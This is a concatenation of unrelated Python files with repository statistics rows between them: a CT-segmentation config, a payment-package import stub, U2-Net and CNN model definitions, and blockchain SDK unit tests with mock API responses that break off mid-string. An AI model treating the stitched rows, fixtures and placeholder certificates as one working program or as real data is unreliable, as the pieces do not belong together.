elif args.suffix == 'genesis-outpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-outpainting.h5'
elif args.suffix == 'genesis-inpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-inpainting.h5'
elif args.suffix == 'denoisy':
self.weights = 'pretrained_weights/denoisy.h5'
elif args.suffix == 'patchshuffling':
self.weights = 'pretrained_weights/patchshuffling.h5'
elif args.suffix == 'hg':
self.weights = 'pretrained_weights/hg.h5'
else:
raise
# logs
self.model_path = os.path.join("models/ncs", "run_"+str(args.run))
if not os.path.exists(self.model_path):
os.makedirs(self.model_path)
self.logs_path = os.path.join(self.model_path, "logs")
if not os.path.exists(self.logs_path):
os.makedirs(self.logs_path)
def display(self):
"""Display Configuration values."""
print("\nConfigurations:")
for a in dir(self):
if not a.startswith("__") and not callable(getattr(self, a)):
print("{:30} {}".format(a, getattr(self, a)))
print("\n")
class lcs_config:
arch = 'Vnet'
# data
data = '/mnt/dfs/zongwei/Academic/MICCAI2019/Data/LiTS/3D_LiTS_NPY_256x256xZ'
nii = '/mnt/dataset/shared/zongwei/LiTS/Tr'
obj = 'liver'
train_idx = [n for n in range(0, 100)]
valid_idx = [n for n in range(100, 115)]
test_idx = [n for n in range(115, 130)]
num_train = len(train_idx)
num_valid = len(valid_idx)
num_test = len(test_idx)
hu_max = 1000
hu_min = -1000
input_rows = 64
input_cols = 64
input_deps = 32
# model
optimizer = 'adam'
lr = 1e-2
patience = 20
verbose = 1
batch_size = 16
workers = 1
max_queue_size = workers * 1
nb_epoch = 10000
def __init__(self, args):
self.exp_name = self.arch + '-' + args.suffix
if args.data is not None:
self.data = args.data
if args.suffix == 'random':
self.weights = None
elif args.suffix == 'genesis':
self.weights = 'pretrained_weights/Genesis_Chest_CT.h5'
elif args.suffix == 'genesis-autoencoder':
self.weights = 'pretrained_weights/Genesis_Chest_CT-autoencoder.h5'
elif args.suffix == 'genesis-nonlinear':
self.weights = 'pretrained_weights/Genesis_Chest_CT-nonlinear.h5'
elif args.suffix == 'genesis-localshuffling':
self.weights = 'pretrained_weights/Genesis_Chest_CT-localshuffling.h5'
elif args.suffix == 'genesis-outpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-outpainting.h5'
elif args.suffix == 'genesis-inpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-inpainting.h5'
elif args.suffix == 'denoisy':
self.weights = 'pretrained_weights/denoisy.h5'
elif args.suffix == 'patchshuffling':
self.weights = 'pretrained_weights/patchshuffling.h5'
elif args.suffix == 'hg':
self.weights = 'pretrained_weights/hg.h5'
else:
raise
# logs
self.model_path = os.path.join("models/lcs", "run_"+str(args.run))
if not os.path.exists(self.model_path):
os.makedirs(self.model_path)
self.logs_path = os.path.join(self.model_path, "logs")
if not os.path.exists(self.logs_path):
os.makedirs(self.logs_path)
def display(self):
"""Display Configuration values."""
print("\nConfigurations:")
for a in dir(self):
if not a.startswith("__") and not callable(getattr(self, a)) and not '_idx' in a:
print("{:30} {}".format(a, getattr(self, a)))
print("\n")
| 36.615176
| 127
| 0.598919
| 1,655
| 13,511
| 4.710574
| 0.106344
| 0.070549
| 0.080811
| 0.161621
| 0.880067
| 0.880067
| 0.870703
| 0.85903
| 0.847871
| 0.811185
| 0
| 0.028465
| 0.282363
| 13,511
| 368
| 128
| 36.714674
| 0.775578
| 0.014211
| 0
| 0.777419
| 0
| 0
| 0.248288
| 0.179574
| 0
| 0
| 0
| 0
| 0.006452
| 1
| 0.035484
| false
| 0
| 0.012903
| 0
| 0.364516
| 0.041935
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2495e3da50dd2df92cc2add52563521e95f81c56
| 177
|
py
|
Python
|
geopayment/providers/__init__.py
|
Lh4cKg/tbcpay
|
481ef6148defc9897643919f7c47ce78d149acbf
|
[
"MIT"
] | null | null | null |
geopayment/providers/__init__.py
|
Lh4cKg/tbcpay
|
481ef6148defc9897643919f7c47ce78d149acbf
|
[
"MIT"
] | null | null | null |
geopayment/providers/__init__.py
|
Lh4cKg/tbcpay
|
481ef6148defc9897643919f7c47ce78d149acbf
|
[
"MIT"
] | null | null | null |
from geopayment.providers.credo import CredoProvider
from geopayment.providers.tbc import TBCProvider
from geopayment.providers.bog import IPayProvider, IPayInstallmentProvider
| 44.25
| 74
| 0.887006
| 19
| 177
| 8.263158
| 0.578947
| 0.267516
| 0.43949
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.073446
| 177
| 3
| 75
| 59
| 0.957317
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
24ae2a6bb5311f1b5869e578b92cca70a3f06006
| 5,916
|
py
|
Python
|
models/model.py
|
AnnLIU15/SegCovid
|
e8a1ccadfbe56ddc7f1adf33225f77836436fa85
|
[
"MIT"
] | null | null | null |
models/model.py
|
AnnLIU15/SegCovid
|
e8a1ccadfbe56ddc7f1adf33225f77836436fa85
|
[
"MIT"
] | null | null | null |
models/model.py
|
AnnLIU15/SegCovid
|
e8a1ccadfbe56ddc7f1adf33225f77836436fa85
|
[
"MIT"
] | null | null | null |
import torch
import torch.nn as nn
from .layer import *
##### U^2-Net ####
class U2NET(nn.Module):
'''
详细见U2Net论文(md中有链接)
'''
def __init__(self, in_channels=1, out_channels=3):
super(U2NET, self).__init__()
self.stage1 = RSU7(in_channels, 32, 64)
self.pool12 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage2 = RSU6(64, 32, 128)
self.pool23 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage3 = RSU5(128, 64, 256)
self.pool34 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage4 = RSU4(256, 128, 512)
self.pool45 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage5 = RSU4F(512, 256, 512)
self.pool56 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage6 = RSU4F(512, 256, 512)
# decoder
self.stage5d = RSU4F(1024, 256, 512)
self.stage4d = RSU4(1024, 128, 256)
self.stage3d = RSU5(512, 64, 128)
self.stage2d = RSU6(256, 32, 64)
self.stage1d = RSU7(128, 16, 64)
self.side1 = nn.Conv2d(64, out_channels, 3, padding=1)
self.side2 = nn.Conv2d(64, out_channels, 3, padding=1)
self.side3 = nn.Conv2d(128, out_channels, 3, padding=1)
self.side4 = nn.Conv2d(256, out_channels, 3, padding=1)
self.side5 = nn.Conv2d(512, out_channels, 3, padding=1)
self.side6 = nn.Conv2d(512, out_channels, 3, padding=1)
self.outconv = nn.Conv2d(6*out_channels, out_channels, 1)
def forward(self, x):
hx = x
# stage 1
hx1 = self.stage1(hx)
hx = self.pool12(hx1)
# stage 2
hx2 = self.stage2(hx)
hx = self.pool23(hx2)
# stage 3
hx3 = self.stage3(hx)
hx = self.pool34(hx3)
# stage 4
hx4 = self.stage4(hx)
hx = self.pool45(hx4)
# stage 5
hx5 = self.stage5(hx)
hx = self.pool56(hx5)
# stage 6
hx6 = self.stage6(hx)
hx6up = upsample_like(hx6, hx5)
# -------------------- decoder --------------------
hx5d = self.stage5d(torch.cat((hx6up, hx5), 1))
hx5dup = upsample_like(hx5d, hx4)
hx4d = self.stage4d(torch.cat((hx5dup, hx4), 1))
hx4dup = upsample_like(hx4d, hx3)
hx3d = self.stage3d(torch.cat((hx4dup, hx3), 1))
hx3dup = upsample_like(hx3d, hx2)
hx2d = self.stage2d(torch.cat((hx3dup, hx2), 1))
hx2dup = upsample_like(hx2d, hx1)
hx1d = self.stage1d(torch.cat((hx2dup, hx1), 1))
# side output
d1 = self.side1(hx1d)
d2 = self.side2(hx2d)
d2 = upsample_like(d2, d1)
d3 = self.side3(hx3d)
d3 = upsample_like(d3, d1)
d4 = self.side4(hx4d)
d4 = upsample_like(d4, d1)
d5 = self.side5(hx5d)
d5 = upsample_like(d5, d1)
d6 = self.side6(hx6)
d6 = upsample_like(d6, d1)
d0 = self.outconv(torch.cat((d1, d2, d3, d4, d5, d6), 1))
return d0, d1, d2, d3, d4, d5, d6
### U^2-Net small ###
class U2NETP(nn.Module):
def __init__(self, in_channels=1, out_channels=3):
super(U2NETP, self).__init__()
self.stage1 = RSU7(in_channels, 16, 64)
self.pool12 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage2 = RSU6(64, 16, 64)
self.pool23 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage3 = RSU5(64, 16, 64)
self.pool34 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage4 = RSU4(64, 16, 64)
self.pool45 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage5 = RSU4F(64, 16, 64)
self.pool56 = nn.MaxPool2d(2, stride=2, ceil_mode=True)
self.stage6 = RSU4F(64, 16, 64)
# decoder
self.stage5d = RSU4F(128, 16, 64)
self.stage4d = RSU4(128, 16, 64)
self.stage3d = RSU5(128, 16, 64)
self.stage2d = RSU6(128, 16, 64)
self.stage1d = RSU7(128, 16, 64)
self.side1 = nn.Conv2d(64, out_channels, 3, padding=1)
self.side2 = nn.Conv2d(64, out_channels, 3, padding=1)
self.side3 = nn.Conv2d(64, out_channels, 3, padding=1)
self.side4 = nn.Conv2d(64, out_channels, 3, padding=1)
self.side5 = nn.Conv2d(64, out_channels, 3, padding=1)
self.side6 = nn.Conv2d(64, out_channels, 3, padding=1)
self.outconv = nn.Conv2d(6*out_channels, out_channels, 1)
def forward(self, x):
hx = x
# stage 1
hx1 = self.stage1(hx)
hx = self.pool12(hx1)
# stage 2
hx2 = self.stage2(hx)
hx = self.pool23(hx2)
# stage 3
hx3 = self.stage3(hx)
hx = self.pool34(hx3)
# stage 4
hx4 = self.stage4(hx)
hx = self.pool45(hx4)
# stage 5
hx5 = self.stage5(hx)
hx = self.pool56(hx5)
# stage 6
hx6 = self.stage6(hx)
hx6up = upsample_like(hx6, hx5)
# decoder
hx5d = self.stage5d(torch.cat((hx6up, hx5), 1))
hx5dup = upsample_like(hx5d, hx4)
hx4d = self.stage4d(torch.cat((hx5dup, hx4), 1))
hx4dup = upsample_like(hx4d, hx3)
hx3d = self.stage3d(torch.cat((hx4dup, hx3), 1))
hx3dup = upsample_like(hx3d, hx2)
hx2d = self.stage2d(torch.cat((hx3dup, hx2), 1))
hx2dup = upsample_like(hx2d, hx1)
hx1d = self.stage1d(torch.cat((hx2dup, hx1), 1))
# side output
d1 = self.side1(hx1d)
d2 = self.side2(hx2d)
d2 = upsample_like(d2, d1)
d3 = self.side3(hx3d)
d3 = upsample_like(d3, d1)
d4 = self.side4(hx4d)
d4 = upsample_like(d4, d1)
d5 = self.side5(hx5d)
d5 = upsample_like(d5, d1)
d6 = self.side6(hx6)
d6 = upsample_like(d6, d1)
d0 = self.outconv(torch.cat((d1, d2, d3, d4, d5, d6), 1))
return d0, d1, d2, d3, d4, d5, d6
| 27.137615
| 65
| 0.55426
| 827
| 5,916
| 3.882709
| 0.125756
| 0.074743
| 0.05232
| 0.071006
| 0.876985
| 0.876985
| 0.876985
| 0.857054
| 0.857054
| 0.783557
| 0
| 0.142061
| 0.302738
| 5,916
| 217
| 66
| 27.262673
| 0.636364
| 0.040061
| 0
| 0.724409
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031496
| false
| 0
| 0.023622
| 0
| 0.086614
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
700f5d0f7a58a9c0399db5b3b4da0ee26daca3f0
| 276
|
py
|
Python
|
neural_cdes/ode_with_context.py
|
jb-c/dissertation
|
daa523e41621022b87d176107b4b29892d208677
|
[
"MIT"
] | null | null | null |
neural_cdes/ode_with_context.py
|
jb-c/dissertation
|
daa523e41621022b87d176107b4b29892d208677
|
[
"MIT"
] | null | null | null |
neural_cdes/ode_with_context.py
|
jb-c/dissertation
|
daa523e41621022b87d176107b4b29892d208677
|
[
"MIT"
] | null | null | null |
import numpy as np
from F import F
#------------------------ ODE MODEL With Context ---------------------------
# The idea is to use a neural ode with context for sequence to sequence forcasting
#---------------------------------------------------------------------------
| 27.6
| 82
| 0.405797
| 27
| 276
| 4.148148
| 0.740741
| 0.196429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126812
| 276
| 9
| 83
| 30.666667
| 0.46473
| 0.836957
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7040ace4dd5b5dbb2373df9695e31b76a5033e3a
| 3,825
|
py
|
Python
|
back-end/legacy/cp_pytorch_ts.py
|
yenchiah/deep-smoke-machine
|
5f779f723a3c891145db43663c8825f9ab55dc74
|
[
"BSD-3-Clause"
] | 88
|
2019-05-29T07:38:45.000Z
|
2022-03-17T01:50:50.000Z
|
back-end/legacy/cp_pytorch_ts.py
|
yenchiah/deep-smoke-machine
|
5f779f723a3c891145db43663c8825f9ab55dc74
|
[
"BSD-3-Clause"
] | 6
|
2019-05-30T08:47:07.000Z
|
2021-09-01T07:45:54.000Z
|
back-end/legacy/cp_pytorch_ts.py
|
yenchiah/deep-smoke-machine
|
5f779f723a3c891145db43663c8825f9ab55dc74
|
[
"BSD-3-Clause"
] | 22
|
2019-06-17T01:15:35.000Z
|
2021-11-17T10:29:00.000Z
|
import torch
import torch.nn as nn
import torch.nn.functional as F
class MotionCNN(nn.Module):
def __init__(self):
super().__init__()
self.model = nn.Sequential(
nn.Conv2d(in_channels=72, out_channels=96, kernel_size=7, stride=2),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
nn.LocalResponseNorm(size=2),
nn.Conv2d(in_channels=96, out_channels=256, kernel_size=5,
stride=2),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3,
stride=1),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3,
stride=1),
nn.ReLU(),
#nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3,
# stride=1),
#nn.MaxPool2d(kernel_size=3, stride=2),
#nn.ReLU(),
)
mock_input = torch.randn(4, 72, 224, 224)
mock_output = self.model(mock_input)
flattened_output = torch.flatten(mock_output, start_dim=1)
fc_in_dim = flattened_output.shape[1] # Get number of nodes from flattened value's size, then convert 0 dim tensor to integer
self.full_conn1 = nn.Linear(in_features=fc_in_dim, out_features=4096)
#self.full_conn2 = nn.Linear(in_features=4096, out_features=2048)
#self.full_conn3 = nn.Linear(in_features=2048, out_features=2)
self.full_conn3 = nn.Linear(in_features=4096, out_features=2)
def forward(self, x):
x = self.model(x)
x = torch.flatten(x, start_dim=1) # Flattens layers without losing batches
x = self.full_conn1(x)
#x = F.dropout(x)
#x = self.full_conn2(x)
#x = F.dropout(x)
x = self.full_conn3(x)
return F.softmax(x, dim=0)
class SpatialCNN(nn.Module):
def __init__(self):
super().__init__()
self.model = nn.Sequential(
nn.Conv2d(in_channels=108, out_channels=96, kernel_size=7, stride=2),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
nn.LocalResponseNorm(size=2),
nn.Conv2d(in_channels=96, out_channels=256, kernel_size=5,
stride=2),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
nn.LocalResponseNorm(size=2),
nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3,
stride=1),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3,
stride=1),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3,
stride=1),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
)
mock_input = torch.randn(32, 108, 224, 224)
mock_output = self.model(mock_input)
flattened_output = torch.flatten(mock_output, start_dim=1)
fc_in_dim = flattened_output.shape[1] # Get number of nodes from flattened value's size, then convert 0 dim tensor to integer
self.full_conn1 = nn.Linear(in_features=fc_in_dim, out_features=4096)
self.full_conn2 = nn.Linear(in_features=4096, out_features=2048)
self.full_conn3 = nn.Linear(in_features=2048, out_features=2)
#self.full_conn3 = nn.Linear(in_features=4096, out_features=2)
def forward(self, x):
x = self.model(x)
x = torch.flatten(x, start_dim=1) # Flattens layers without losing batches
x = self.full_conn1(x)
x = F.dropout(x)
x = self.full_conn2(x)
x = F.dropout(x)
x = self.full_conn3(x)
return F.softmax(x, dim=0)
| 33.26087
| 133
| 0.58719
| 525
| 3,825
| 4.07619
| 0.152381
| 0.074766
| 0.061682
| 0.095327
| 0.95514
| 0.95514
| 0.95514
| 0.95514
| 0.95514
| 0.95514
| 0
| 0.072065
| 0.296209
| 3,825
| 114
| 134
| 33.552632
| 0.722883
| 0.161307
| 0
| 0.797297
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.054054
| false
| 0
| 0.040541
| 0
| 0.148649
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
70525a917c08f3370b06ef1bf64c35966d88de36
| 840,137
|
py
|
Python
|
test/unit/test_blockchain_v3.py
|
IBM-Blockchain/ibp-python-sdk
|
fa1cb5f6a2dc284da8077279f1be365863fb3b7a
|
[
"Apache-2.0"
] | null | null | null |
test/unit/test_blockchain_v3.py
|
IBM-Blockchain/ibp-python-sdk
|
fa1cb5f6a2dc284da8077279f1be365863fb3b7a
|
[
"Apache-2.0"
] | 1
|
2021-03-23T01:53:32.000Z
|
2021-03-23T01:53:32.000Z
|
test/unit/test_blockchain_v3.py
|
IBM-Blockchain/ibp-python-sdk
|
fa1cb5f6a2dc284da8077279f1be365863fb3b7a
|
[
"Apache-2.0"
] | 4
|
2021-03-22T22:28:00.000Z
|
2022-02-26T00:36:22.000Z
|
# -*- coding: utf-8 -*-
# (C) Copyright IBM Corp. 2021.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Unit Tests for BlockchainV3
"""
from ibm_cloud_sdk_core.authenticators.no_auth_authenticator import NoAuthAuthenticator
import inspect
import json
import pytest
import re
import requests
import responses
import urllib
# dumb hack to load the relative file up two levels
import sys
import os.path
sys.path.append(
os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir, os.path.pardir))
)
from ibp_python_sdk import *
service = BlockchainV3(
authenticator=NoAuthAuthenticator()
)
base_url = 'https://fake'
service.set_service_url(base_url)
##############################################################################
# Start of Service: ManageComponent
##############################################################################
# region
class TestGetComponent():
"""
Test Class for get_component
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_component_all_params(self):
"""
get_component()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/testString')
mock_response = '{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
deployment_attrs = 'included'
parsed_certs = 'included'
cache = 'skip'
ca_attrs = 'included'
# Invoke method
response = service.get_component(
id,
deployment_attrs=deployment_attrs,
parsed_certs=parsed_certs,
cache=cache,
ca_attrs=ca_attrs,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'deployment_attrs={}'.format(deployment_attrs) in query_string
assert 'parsed_certs={}'.format(parsed_certs) in query_string
assert 'cache={}'.format(cache) in query_string
assert 'ca_attrs={}'.format(ca_attrs) in query_string
@responses.activate
def test_get_component_required_params(self):
"""
test_get_component_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/testString')
mock_response = '{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Invoke method
response = service.get_component(
id,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_get_component_value_error(self):
"""
test_get_component_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/testString')
mock_response = '{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, 